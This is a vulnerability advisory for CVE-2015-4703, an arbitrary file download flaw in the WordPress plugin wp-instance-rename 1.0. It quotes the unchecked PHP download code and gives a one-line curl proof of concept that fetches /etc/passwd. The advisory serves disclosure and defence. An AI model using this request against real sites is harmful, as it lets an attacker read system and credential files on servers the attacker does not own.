WordPress WP-Instance-Rename 1.0 File Download

Risk: High
Local: No
Remote: Yes

Title: Arbitrary File download in wordpress plugin wp-instance-rename v1.0 Author: Larry W. Cashdollar, @_larry0 Date: 2015-06-12 Download Site: https://wordpress.org/plugins/wp-instance-rename/ Vendor: Vlajo Vendor Notified: 2015-06-12 Advisory: http://www.vapid.dhs.org/advisory.php?v=127 Vendor Contact: Description: WordPress Rename plugin allows you to easily rename the complete WordPress installation. This plugin allows you to rename WordPress database, WordPress directory, change every necessary configuration file, easily from one page. Vulnerability: The code in mysqldump_download.php doesn't check that the requested file is within the intended download directory: try{ $dbname = $_GET["dbname"]; $dumpfname = $_GET["dumpfname"]; $backup_folder = $_GET["backup_folder"]; }catch (Exception $e){} if(empty($backup_folder)){ $backup_folder="backup/"; } echo "$dumpfname"; if (file_exists($dumpfname)) { // zip the dump file $name=$dbname . "_" . date("Y-m-d"); $zipfname = $backup_folder.$name.".zip"; $zip = new ZipArchive(); if($zip->open($zipfname,ZIPARCHIVE::CREATE)) { $zip->addFile($dumpfname,$dumpfname); $zip->close(); } // read zip file and send it to standard output if (file_exists($zipfname)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename='.basename($zipfname)); flush(); readfile($zipfname); CVEID: 2015-4703 OSVDB: Exploit Code: ? curl --data "dbname=wp&dumpfname=/etc/passwd&backup_folder=." http://www.example.com/wp-instance-rename/mysqldump_download.php -o p.zip

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2023, cxsecurity.com


Back to Top